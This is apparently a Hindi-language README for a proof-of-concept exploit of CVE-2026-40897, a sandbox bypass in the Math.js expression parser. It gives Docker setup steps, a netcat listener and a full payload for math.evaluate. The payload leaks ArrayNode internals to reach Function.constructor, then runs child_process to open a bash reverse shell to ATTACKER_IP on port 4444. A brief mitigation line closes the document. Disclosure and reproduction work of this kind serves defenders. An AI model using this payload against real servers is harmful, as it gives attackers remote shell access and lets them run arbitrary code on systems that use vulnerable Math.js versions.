
# Math.js एक्सप्रेशन पार्सर RCE
★ CVE-2026-40897 Math.js में रिमोट कोड एक्सेक्यूशन PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 Math.js के एक्सप्रेशन पार्सर में सैंडबॉक्स बायपास जो रिमोट कोड एक्सेक्यूशन की ओर ले जाता है नामक एक भेद्यता है।
isSafePropertyफ़िल्टर केवल उपयोगकर्ता एक्सप्रेशन से प्रॉपर्टी एक्सेस की जाँच करता है, आंतरिक कोड पथों से नहीं।toJSON()के माध्यम सेArrayNodeकी आंतरिक ऐरे को लीक करके और उसके.mapको ओवरराइट करके, एक हमलावर आंतरिक कोड कोFunction.constructorतक पहुँचने और मनमाना JavaScript निष्पादित करने के लिए मजबूर कर सकता है।
| श्रेणी | संस्करण |
|---|---|
| असुरक्षित | Math.js 13.1.1 ≤ संस्करण ≤ 15.1.1 |
| पैच किया गया | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
असुरक्षित वातावरण शुरू करने के बाद, हमले को दोहराने के लिए नीचे दिए गए चरणों का पालन करें।
nc -lvnp 4444
निम्नलिखित एक्सप्रेशन को math.evaluate पर भेजें (उदाहरण के लिए, एप्लिकेशन के कैलकुलेशन इनपुट के माध्यम से)।
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
लक्ष्य सर्वर हमलावर के लिसनर से वापस कनेक्ट होता है, जिससे एक इंटरैक्टिव bash शेल मिलता है।
math.evaluate() में पास करने से बचेंreviver, FunctionAssignmentNode, ArrayNode) के संपर्क को प्रतिबंधित करें